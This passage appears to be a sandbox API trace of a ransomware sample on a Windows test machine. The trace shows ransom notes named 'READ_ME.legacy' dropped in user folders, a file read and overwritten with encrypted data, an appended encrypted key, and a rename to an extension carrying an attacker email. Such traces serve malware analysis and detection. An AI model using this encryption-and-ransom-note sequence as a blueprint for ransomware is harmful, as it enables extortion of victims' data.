returned 0x12 [0140.846] SetLastError (dwErrCode=0x12) [0140.846] GetLastError () returned 0x12 [0140.846] SetLastError (dwErrCode=0x12) [0140.846] SetLastError (dwErrCode=0x12) [0140.846] GetLastError () returned 0x12 [0140.846] SetLastError (dwErrCode=0x12) [0140.846] GetLastError () returned 0x12 [0140.847] SetLastError (dwErrCode=0x12) [0140.847] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\sun\\java\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x778 [0140.847] WriteFile (in: hFile=0x778, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.848] CloseHandle (hObject=0x778) returned 1 [0140.848] FindNextFileW (in: hFindFile=0x60c7d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6ce9dde, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6ce9dde, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6ce9dde, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0140.848] SetLastError (dwErrCode=0x0) [0140.848] GetLastError () returned 0x0 [0140.848] SetLastError (dwErrCode=0x0) [0140.848] GetLastError () returned 0x0 [0140.848] SetLastError (dwErrCode=0x0) [0140.848] FindNextFileW (in: hFindFile=0x60c7d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6ce9dde, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6ce9dde, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6ce9dde, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0140.848] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd7220dc7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c6d8 [0140.848] SetLastError (dwErrCode=0x12) [0140.848] GetLastError () returned 0x12 [0140.848] SetLastError (dwErrCode=0x12) [0140.848] GetLastError () returned 0x12 [0140.849] SetLastError (dwErrCode=0x12) [0140.849] FindNextFileW (in: hFindFile=0x60c6d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd7220dc7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0140.849] SetLastError (dwErrCode=0x12) [0140.849] GetLastError () returned 0x12 [0140.849] SetLastError (dwErrCode=0x12) [0140.849] GetLastError () returned 0x12 [0140.849] SetLastError (dwErrCode=0x12) [0140.849] FindNextFileW (in: hFindFile=0x60c6d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0140.849] SetLastError (dwErrCode=0x12) [0140.849] GetLastError () returned 0x12 [0140.849] SetLastError (dwErrCode=0x12) [0140.849] GetLastError () returned 0x12 [0140.849] SetLastError (dwErrCode=0x12) [0140.849] FindNextFileW (in: hFindFile=0x60c6d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7220dc7, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd7220dc7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd7220dc7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0140.849] SetLastError (dwErrCode=0x12) [0140.849] GetLastError () returned 0x12 [0140.849] SetLastError (dwErrCode=0x12) [0140.849] GetLastError () returned 0x12 [0140.849] SetLastError (dwErrCode=0x12) [0140.849] FindNextFileW (in: hFindFile=0x60c6d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7220dc7, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd7220dc7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd7220dc7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0140.849] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c55b0 | out: pbBuffer=0x5c55b0) returned 1 [0140.849] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0140.849] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico", dwFileAttributes=0x80) returned 1 [0140.850] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x77c [0140.850] GetFileSizeEx (in: hFile=0x77c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=29926) returned 1 [0140.850] ReadFile (in: hFile=0x77c, lpBuffer=0x612410, nNumberOfBytesToRead=0x74e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x612410*, lpNumberOfBytesRead=0x2e1f9bc*=0x74e6, lpOverlapped=0x0) returned 1 [0140.865] SetFilePointer (in: hFile=0x77c, lDistanceToMove=-29926, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.865] WriteFile (in: hFile=0x77c, lpBuffer=0x2e61f38*, nNumberOfBytesToWrite=0x74e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x74e6, lpOverlapped=0x0) returned 1 [0140.866] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x612410 | out: hHeap=0x520000) returned 1 [0140.866] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0140.866] SetFilePointer (in: hFile=0x77c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x74e6 [0140.866] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0140.866] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0140.866] WriteFile (in: hFile=0x77c, lpBuffer=0x5c55b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c55b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0140.867] WriteFile (in: hFile=0x77c, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0140.867] CloseHandle (hObject=0x77c) returned 1 [0140.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c55b0 | out: hHeap=0x520000) returned 1 [0140.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0140.867] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico"), lpNewFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0140.871] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0140.871] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5673a0 | out: hHeap=0x520000) returned 1 [0140.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0140.872] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6910 [0140.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585700 | out: hHeap=0x520000) returned 1 [0140.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0140.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b08 | out: hHeap=0x520000) returned 1 [0140.872] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\6pegi30GmfrfqiXg89d\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x532a8030, ftCreationTime.dwHighDateTime=0x1d4d4f4, ftLastAccessTime.dwLowDateTime=0x92ee4740, ftLastAccessTime.dwHighDateTime=0x1d4c96b, ftLastWriteTime.dwLowDateTime=0xd72dfaf1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c798 [0140.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.872] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.872] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.872] GetLastError () returned 0x0 [0140.872] SetLastError (dwErrCode=0x0) [0140.872] GetLastError () returned 0x0 [0140.872] SetLastError (dwErrCode=0x0) [0140.872] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0140.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.872] GetLastError () returned 0x0 [0140.872] SetLastError (dwErrCode=0x0) [0140.872] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0140.872] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dd98 [0140.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dd98 | out: hHeap=0x520000) returned 1 [0140.872] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610388 [0140.872] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60cb18 [0140.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cb18 | out: hHeap=0x520000) returned 1 [0140.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20138 [0140.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20138 | out: hHeap=0x520000) returned 1 [0140.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610388 | out: hHeap=0x520000) returned 1 [0140.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0140.873] FindNextFileW (in: hFindFile=0x60c798, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x532a8030, ftCreationTime.dwHighDateTime=0x1d4d4f4, ftLastAccessTime.dwLowDateTime=0x92ee4740, ftLastAccessTime.dwHighDateTime=0x1d4c96b, ftLastWriteTime.dwLowDateTime=0xd72dfaf1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0140.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0140.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.873] GetLastError () returned 0x0 [0140.873] SetLastError (dwErrCode=0x0) [0140.873] GetLastError () returned 0x0 [0140.873] SetLastError (dwErrCode=0x0) [0140.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0140.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.873] GetLastError () returned 0x0 [0140.873] SetLastError (dwErrCode=0x0) [0140.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0140.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dc38 [0140.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dc38 | out: hHeap=0x520000) returned 1 [0140.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610360 [0140.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c518 [0140.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c518 | out: hHeap=0x520000) returned 1 [0140.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0140.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0140.874] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610360 | out: hHeap=0x520000) returned 1 [0140.874] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0140.874] FindNextFileW (in: hFindFile=0x60c798, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x612ea2f0, ftCreationTime.dwHighDateTime=0x1d4ca14, ftLastAccessTime.dwLowDateTime=0xe3452650, ftLastAccessTime.dwHighDateTime=0x1d4cfbf, ftLastWriteTime.dwLowDateTime=0xe3452650, ftLastWriteTime.dwHighDateTime=0x1d4cfbf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="8-U_1DVrzf", cAlternateFileName="8-U_1D~1")) returned 1 [0140.874] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0140.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0140.874] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.874] GetLastError () returned 0x0 [0140.874] SetLastError (dwErrCode=0x0) [0140.874] GetLastError () returned 0x0 [0140.874] SetLastError (dwErrCode=0x0) [0140.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0140.874] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0140.874] GetLastError () returned 0x0 [0140.874] SetLastError (dwErrCode=0x0) [0140.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610158 [0140.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101d0 [0140.874] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610158 | out: hHeap=0x520000) returned 1 [0140.874] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101d0 | out: hHeap=0x520000) returned 1 [0140.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60ccc8 [0140.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610220 [0140.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60cc20 [0140.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0140.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0140.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.875] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0140.875] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.875] GetLastError () returned 0x0 [0140.875] SetLastError (dwErrCode=0x0) [0140.875] GetLastError () returned 0x0 [0140.875] SetLastError (dwErrCode=0x0) [0140.875] GetLastError () returned 0x0 [0140.875] SetLastError (dwErrCode=0x0) [0140.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0140.875] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\6pegi30GmfrfqiXg89d\\8-U_1DVrzf\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\6pegi30gmfrfqixg89d\\8-u_1dvrzf\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x780 [0140.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0140.888] WriteFile (in: hFile=0x780, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.889] CloseHandle (hObject=0x780) returned 1 [0140.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87f0 | out: hHeap=0x520000) returned 1 [0140.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0140.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0140.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cc20 | out: hHeap=0x520000) returned 1 [0140.889] FindNextFileW (in: hFindFile=0x60c798, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd72dfaf1, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd72dfaf1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd72dfaf1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0140.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0140.889] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.889] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0140.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.889] GetLastError () returned 0x0 [0140.889] SetLastError (dwErrCode=0x0) [0140.889] GetLastError () returned 0x0 [0140.889] SetLastError (dwErrCode=0x0) [0140.889] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0140.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0140.889] GetLastError () returned 0x0 [0140.889] SetLastError (dwErrCode=0x0) [0140.889] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101d0 [0140.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101d0 | out: hHeap=0x520000) returned 1 [0140.889] FindNextFileW (in: hFindFile=0x60c798, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd72dfaf1, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd72dfaf1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd72dfaf1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0140.890] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0140.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6910 | out: hHeap=0x520000) returned 1 [0140.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5677d8 | out: hHeap=0x520000) returned 1 [0140.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0140.890] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5a427d0, ftCreationTime.dwHighDateTime=0x1d4ce19, ftLastAccessTime.dwLowDateTime=0x55e53d30, ftLastAccessTime.dwHighDateTime=0x1d4cd0e, ftLastWriteTime.dwLowDateTime=0xd72dfaf1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60cb98 [0140.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0140.890] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0140.890] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0140.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0140.890] GetLastError () returned 0x12 [0140.890] SetLastError (dwErrCode=0x12) [0140.890] GetLastError () returned 0x12 [0140.890] SetLastError (dwErrCode=0x12) [0140.890] GetLastError () returned 0x12 [0140.890] SetLastError (dwErrCode=0x12) [0140.890] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0140.890] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56df50 [0140.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56df50 | out: hHeap=0x520000) returned 1 [0140.891] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610298 [0140.891] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60ca58 [0140.891] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ca58 | out: hHeap=0x520000) returned 1 [0140.891] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201f8 [0140.891] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201f8 | out: hHeap=0x520000) returned 1 [0140.891] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610298 | out: hHeap=0x520000) returned 1 [0140.891] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0140.891] FindNextFileW (in: hFindFile=0x60cb98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5a427d0, ftCreationTime.dwHighDateTime=0x1d4ce19, ftLastAccessTime.dwLowDateTime=0x55e53d30, ftLastAccessTime.dwHighDateTime=0x1d4cd0e, ftLastWriteTime.dwLowDateTime=0xd72dfaf1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0140.891] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0140.891] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.891] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0140.891] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.891] GetLastError () returned 0x12 [0140.891] SetLastError (dwErrCode=0x12) [0140.891] GetLastError () returned 0x12 [0140.891] SetLastError (dwErrCode=0x12) [0140.891] GetLastError () returned 0x12 [0140.891] SetLastError (dwErrCode=0x12) [0140.891] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 